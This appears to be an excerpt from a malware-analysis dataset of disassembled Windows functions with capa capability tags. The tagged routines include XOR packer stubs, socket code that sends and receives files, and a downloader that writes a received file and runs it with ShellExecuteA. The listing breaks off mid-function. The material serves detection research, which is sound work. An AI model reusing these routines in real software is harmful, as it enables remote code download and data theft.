joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a5ff0
Capabilities:
Get geographical location

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jle 0x4a607e
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
cmp dword [esp + 0x18], 0x2d
jne 0x4a603c
push 0
push str.vepamanal_tulesizoxe_yabadodopa_zokorubonoxesiticohub_foyidufumobowebacaxosububonobo
call edi
push str.wuviyakox
push str.yekukefocudovizene
push str.kaluravujokiziduyux
push str.vixuboxituja
call ebx
push 0
call ebp
call fcn.004a5f40
mov ecx, dword [esp + 0x14]
xor byte [esi + ecx], al
cmp dword [esp + 0x18], 0xf
jne 0x4a6074
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push str.tigegisipawupesavumefozoj
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [esp + 0x18]
jl 0x4a6012
pop edi
pop ebp
pop ebx
cmp dword [esp + 0xc], 0x2d
pop esi
jne 0x4a609a
mov dword [0x4b08d0], 0xa62e7790
mov dword [0x4b08d4], 0xffffffff
ret
Function at 0x4a6440
Capabilities:
Access the windows event log
Set file attributes

Disassembly:
mov eax, dword [0x4b08c4]
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov ebp, 0x1519a5
lea esp, [esp]
mov dword [0x4b052c], 0x8e46a7b8
cmp eax, 0x3dc
jne 0x4a648a
push 0
push 0x4aaf90
call esi
push str.rusokuj
push 0
push 0
call edi
mov eax, dword [0x4b08c4]
dec ebp
jne 0x4a6460
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
xor esi, esi
mov ebp, 0xec58acac
lea ebx, [ebx]
cmp eax, 0x997
jne 0x4a64b2
push 0
push 0
call edi
mov eax, dword [0x4b08c4]
cmp esi, 0x846373
jne 0x4a64c9
mov eax, dword [0x4aead0]
add eax, 0xa231
mov dword [0x4b08c4], eax
cmp eax, 0x141
jne 0x4a64e0
mov dword [0x4afd18], ebp
mov dword [0x4afd1c], 0xffffffff
inc esi
cmp esi, 0x123c962
jl 0x4a64a0
call fcn.004a60e0
pop edi
pop esi
xor eax, eax
pop ebp
ret 0x10
Function at 0x40a15c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [ebp + 0xc]
mov word [ebp + 0xc], ax
mov ebx, 0x19826993
mov eax, ebx
mul ebx
mov dword [ebp - 0x10], eax
mov ebx, eax
xor esi, esi
mov eax, ebx
mul ebx
mov dword [ebp - 0x14], eax
mov ebx, eax
mov word [ebp - 0xc], 0
jmp 0x40a272
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.00405066
pop ecx
mov edx, eax
mov byte [ebp - 1], dl
cmp byte [ebp - 1], 0
jne 0x40a1b3
mov byte [ebp - 2], 0
jmp 0x40a1dd
call fcn.0040ddd8
mov dword [ebp - 0x18], eax
mov eax, 0x7fff
mov edi, 7
movzx edx, byte [ebp - 1]
mov ecx, edi
sub ecx, edx
cdq
idiv ecx
mov ecx, eax
mov eax, dword [ebp - 0x18]
cdq
idiv ecx
mov edx, eax
mov byte [ebp - 2], dl
mov eax, dword [ebp + 8]
mov al, byte [esi + eax]
cmp al, 0x70
jb 0x40a1fc
cmp al, 0x7f
ja 0x40a1fc
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, dword [ebp + 8]
movzx eax, byte [esi + eax]
cmp eax, 0xe2
jne 0x40a21b
mov eax, dword [ebp + 8]
add eax, esi
inc eax
movzx edx, byte [eax]
movzx ecx, byte [ebp - 2]
sub edx, ecx
mov byte [eax], dl
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 8
push 0x90
lea eax, [ebp - 0xa]
push eax
call fcn.0040ddc0
movzx eax, byte [ebp - 1]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
lea eax, [ebp - 0xa]
movzx edx, byte [ebp - 2]
add eax, edx
push eax
call fcn.0040ddb4
mov eax, ebx
sub eax, ebx
mov ebx, eax
push 6
lea eax, [ebp - 0xa]
push eax
mov eax, dword [ebp + 8]
add eax, esi
push eax
call fcn.0040ddb4
add esp, 0x24
mov eax, ebx
add eax, ebx
mov ebx, eax
add esi, 6
inc word [ebp - 0xc]
movzx eax, word [ebp + 0xc]
dec eax
cmp esi, eax
jb 0x40a190
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408e54
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x666b5696
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x28574fdf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4011a3
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
cmp dword [ebp + 8], 0
je 0x4011b8
cmp dword [ebp + 0x10], 0
jne 0x4011c0
or eax, 0xffffffff
jmp 0x401330
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
mov dword [ebp - 0x1c], 0
mov word [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
jmp 0x4011f4
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x3d
je 0x401324
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jge 0x401324
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x41
jl 0x401233
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
cmp ecx, 0x5b
jge 0x401233
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
sub eax, 0x41
mov byte [ebp - 0x10], al
jmp 0x4012a2
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x61
jl 0x401257
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
cmp ecx, 0x7b
jge 0x401257
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
sub eax, 0x47
mov byte [ebp - 0x10], al
jmp 0x4012a2
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x30
jl 0x40127b
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
cmp ecx, 0x3a
jge 0x40127b
mov edx, dword [ebp - 4]
movsx eax, byte [edx]
add eax, 4
mov byte [ebp - 0x10], al
jmp 0x4012a2
mov ecx, dword [ebp - 4]
movsx edx, byte [ecx]
cmp edx, 0x2b
jne 0x40128c
mov byte [ebp - 0x10], 0x3e
jmp 0x4012a2
mov eax, dword [ebp - 4]
movsx ecx, byte [eax]
cmp ecx, 0x2f
jne 0x40129d
mov byte [ebp - 0x10], 0x3f
jmp 0x4012a2
jmp 0x4011e2
mov edx, dword [ebp - 0x18]
and edx, 0xffff
shl edx, 6
mov eax, dword [ebp - 0x10]
and eax, 0xff
xor edx, eax
mov word [ebp - 0x18], dx
mov ecx, dword [ebp - 0x1c]
add ecx, 6
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 8
jl 0x40131f
mov edx, dword [ebp - 0x1c]
sub edx, 8
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x18]
and eax, 0xffff
mov ecx, dword [ebp - 0x1c]
sar eax, cl
and eax, 0xff
mov ecx, dword [ebp - 8]
mov byte [ecx], al
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov ecx, 8
sub ecx, dword [ebp - 0x1c]
mov eax, 0xff
sar eax, cl
mov word [ebp - 0xc], ax
mov ecx, dword [ebp - 0x18]
and ecx, 0xffff
mov edx, dword [ebp - 0xc]
and edx, 0xffff
and ecx, edx
mov word [ebp - 0x18], cx
jmp 0x4011e2
mov eax, dword [ebp - 8]
mov byte [eax], 0
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401448
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov dword [ebp - 0x810], ecx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x804]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dx, word [ebp + 0x88]
mov word [ebp - 0x808], dx
movsx eax, byte [ebp - 0x804]
push eax
call dword [sym.imp.MSVCRT.dll_isalpha]
add esp, 4
test eax, eax
je 0x4014a2
lea ecx, [ebp - 0x804]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x6f8], eax
jmp 0x4014cc
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x704], eax
push 2
push 4
lea eax, [ebp - 0x704]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0
jne 0x4014dd
or eax, 0xffffffff
jmp 0x401641
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x6f8]
movsx eax, word [edx + 0xa]
push eax
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0xc]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x6f8]
mov ax, word [edx + 8]
mov word [ebp - 0x10], ax
mov cx, word [ebp - 0x808]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov dword [ebp - 0x6fc], 1
push 0
mov edx, dword [ebp - 0x6fc]
push edx
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0
jae 0x401562
or eax, 0xffffffff
jmp 0x401641
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401582
or eax, 0xffffffff
jmp 0x401641
cmp dword [ebp - 0x80c], 0xffffffff
jne 0x401593
or eax, 0xffffffff
jmp 0x401641
mov dword [ebp - 0x700], 0x5dc
mov edx, dword [ebp - 0x810]
add edx, 0x140c
push edx
push str.FileRecv:_s
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
mov ecx, dword [ebp - 0x700]
push ecx
lea edx, [ebp - 0x6f0]
push edx
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x810]
mov ecx, dword [edx + 0x1030]
call fcn.004042b8
mov dword [ebp - 0x114], eax
push 0
mov eax, dword [ebp - 0x114]
push eax
lea ecx, [ebp - 0x6f0]
push ecx
mov edx, dword [ebp - 0x80c]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 0
jg 0x40163b
mov eax, dword [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x401641
mov eax, dword [ebp - 0x80c]
mov esp, ebp
pop ebp
ret 0x18c
Function at 0x4017d1
Capabilities:
Create process on windows
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5f4
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x5e4], 0x578
mov dword [ebp - 4], 0
push 0x40f070
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 0
jne 0x40181a
or eax, 0xffffffff
jmp 0x401920
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x5ec], ecx
cmp dword [ebp - 0x5ec], 0xffffffff
jne 0x401834
or eax, 0xffffffff
jmp 0x401920
mov dword [ebp - 0x5e8], 0
mov dword [ebp - 4], 0
push 0
mov edx, dword [ebp - 0x5e4]
push edx
lea eax, [ebp - 0x5e0]
push eax
mov ecx, dword [ebp - 0x5ec]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0xffffffff
jne 0x401889
mov edx, dword [ebp - 0x5f0]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
or eax, 0xffffffff
jmp 0x401920
mov eax, dword [ebp - 0x5f0]
push eax
mov ecx, dword [ebp - 0x5e8]
push ecx
push 1
lea edx, [ebp - 0x5e0]
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x5e8]
mov dword [ebp - 4], eax
cmp dword [ebp - 0x5e8], 0
jg 0x4018c0
jmp 0x4018cd
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401845
mov ecx, dword [ebp - 0x5f0]
push ecx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov edx, dword [ebp - 0x5ec]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
push str..exe
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40191d
push 0
push 0x40f828
push 0x40f82c
mov ecx, dword [ebp + 8]
push ecx
push 0x40f07c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x401fc7
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
mov dword [ebp - 0x810], ecx
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x804]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dx, word [ebp + 0x88]
mov word [ebp - 0x808], dx
movsx eax, byte [ebp - 0x804]
push eax
call dword [sym.imp.MSVCRT.dll_isalpha]
add esp, 4
test eax, eax
je 0x402021
lea ecx, [ebp - 0x804]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x6f8], eax
jmp 0x40204b
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x704], eax
push 2
push 4
lea eax, [ebp - 0x704]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0
jne 0x40205c
or eax, 0xffffffff
jmp 0x4021c0
push 0x10
push 0
lea ecx, [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edx, dword [ebp - 0x6f8]
movsx eax, word [edx + 0xa]
push eax
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0xc]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, dword [ebp - 0x6f8]
mov ax, word [edx + 8]
mov word [ebp - 0x10], ax
mov cx, word [ebp - 0x808]
push ecx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov dword [ebp - 0x6fc], 1
push 0
mov edx, dword [ebp - 0x6fc]
push edx
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x80c], eax
cmp dword [ebp - 0x80c], 0
jae 0x4020e1
or eax, 0xffffffff
jmp 0x4021c0
push 0x10
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402101
or eax, 0xffffffff
jmp 0x4021c0
cmp dword [ebp - 0x80c], 0xffffffff
jne 0x402112
or eax, 0xffffffff
jmp 0x4021c0
mov dword [ebp - 0x700], 0x5dc
mov edx, dword [ebp - 0x810]
add edx, 0x140c
push edx
push str.FileSend:_s
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0
mov ecx, dword [ebp - 0x700]
push ecx
lea edx, [ebp - 0x6f0]
push edx
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea ecx, [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x810]
mov ecx, dword [edx + 0x1030]
call fcn.004042b8
mov dword [ebp - 0x114], eax
push 0
mov eax, dword [ebp - 0x114]
push eax
lea ecx, [ebp - 0x6f0]
push ecx
mov edx, dword [ebp - 0x80c]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x6f4], eax
cmp dword [ebp - 0x6f4], 0
jg 0x4021ba
mov eax, dword [ebp - 0x80c]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x4021c0
mov eax, dword [ebp - 0x80c]
mov esp, ebp
pop ebp
ret 0x18c
Function at 0x402360
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x604
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x5f0], 0x400
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0xffffffff
jne 0x4023a8
or eax, 0xffffffff
jmp 0x402506
push 0x40f0ac
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0
jne 0x4023d1
or eax, 0xffffffff
jmp 0x402506
mov edx, dword [ebp - 0x5fc]
push edx
call dword [sym.imp.MSVCRT.dll__fileno]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll__filelength]
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x4023fc
or eax, 0xffffffff
jmp 0x402506
mov eax, dword [ebp - 0x5f0]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 1]
cdq
idiv dword [ebp - 0x5f0]
mov dword [ebp - 0xc], eax
push 0
push 0
mov edx, dword [ebp - 0x5fc]
push edx
call dword [sym.imp.MSVCRT.dll_fseek]
add esp, 0xc
mov dword [ebp - 0x5f4], 0
mov dword [ebp - 0x10], 0
jmp 0x402443
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0xc]
jge 0x4024e6
mov edx, dword [ebp - 0x5fc]
push edx
mov eax, dword [ebp - 0x5f0]
push eax
push 1
lea ecx, [ebp - 0x5ec]
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x40247a
jmp 0x4024e6
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x600], 0
push 0
mov edx, dword [ebp - 8]
push edx
lea eax, [ebp - 0x5ec]
push eax
mov ecx, dword [ebp - 0x5f8]
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x600], 0xffffffff
je 0x4024c1
cmp dword [ebp - 0x600], 0
jg 0x4024d6
mov edx, dword [ebp - 0x5fc]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
or eax, 0xffffffff
jmp 0x402506
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40243a
mov eax, dword [ebp - 0x5fc]
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ecx, dword [ebp - 0x5f8]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x403a1c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
push esi
push edi
mov dword [ebp - 0x198], ecx
push 0x40f13c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0
jne 0x403a52
xor al, al
jmp 0x403aca
mov ecx, dword [ebp - 0x194]
mov edx, dword [ecx + 0xc]
and edx, 0x10
test edx, edx
jne 0x403ab8
mov eax, dword [ebp - 0x194]
push eax
push 0x18c
push 1
lea ecx, [ebp - 0x18c]
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x18c
jne 0x403ab4
sub esp, 0x18c
mov ecx, 0x63
lea esi, [ebp - 0x18c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x198]
call fcn.00403c41
jmp 0x403ab6
jmp 0x403ab8
jmp 0x403a52
mov edx, dword [ebp - 0x194]
push edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov al, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x404ace
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a0
push esi
push edi
mov dword [ebp - 0x2a0], ecx
mov byte [ebp - 0x290], 0
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov dword [ebp - 0x294], eax
cmp dword [ebp - 0x294], 0xffffffff
jne 0x404b1d
push str.127.0.0.1
lea ecx, [ebp - 0x28c]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
jmp 0x404b5d
lea edx, [ebp - 0x100]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0
je 0x404b5d
mov eax, dword [ebp - 0x298]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x28c]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
cmp dword [ebp + 0x10], 0
jne 0x404b6f
mov dword [ebp - 0x208], 1
jmp 0x404b78
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x208], edx
mov dword [ebp - 0x204], 1
cmp dword [ebp - 0x204], 0
jne 0x404bcd
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x1e
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.MSVCRT.dll_rand]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 0x29c]
or ah, 4
and eax, 0xffff
and eax, 0xffff
mov dword [ebp - 0x20c], eax
jmp 0x404bd6
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x20c], ecx
mov ecx, 0x63
lea esi, [ebp - 0x28c]
mov edi, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4057e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 0x270], 0
je 0x405816
push 0xfffffffffffffff7
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp + 8]
add eax, 0x270
push eax
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov esp, ebp
pop ebp
ret 4
Function at 0x40581c
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
cmp dword [eax + 0x10], 0
je 0x405895
push 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp + 8]
add eax, 0x10
push eax
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov ecx, dword [ebp + 8]
add ecx, 0x1c
push ecx
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov edx, dword [ebp + 8]
add edx, 0x20
push edx
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov eax, dword [ebp + 8]
add eax, 0x18
push eax
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov ecx, dword [ebp + 8]
add ecx, 0x14
push ecx
mov ecx, dword [ebp - 4]
call fcn.00405fb6
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 4]
call fcn.00405fea
mov esp, ebp
pop ebp
ret 4
Function at 0x406af0
Capabilities:
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x604
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x5f4], 0x400
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0xffffffff
jne 0x406b3f
or eax, 0xffffffff
jmp 0x406c3c
push 0x40f440
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov dword [ebp - 0x5fc], eax
cmp dword [ebp - 0x5fc], 0
jne 0x406b68
or eax, 0xffffffff
jmp 0x406c3c
mov edx, dword [ebp - 0x5fc]
push edx
call dword [sym.imp.MSVCRT.dll__fileno]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll__filelength]
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x406b93
or eax, 0xffffffff
jmp 0x406c3c
mov eax, dword [ebp - 8]
cdq
idiv dword [ebp - 0x5f4]
add eax, 1
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], 0
jmp 0x406bb5
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x10]
jge 0x406c39
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x5fc]
push eax
mov ecx, dword [ebp - 0x5f4]
push ecx
push 1
lea edx, [ebp - 0x5f0]
push edx
call dword [sym.imp.MSVCRT.dll_fread]
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jg 0x406bf1
jmp 0x406c39
mov dword [ebp - 0x600], 0
push 0
mov eax, dword [ebp - 0xc]
push eax
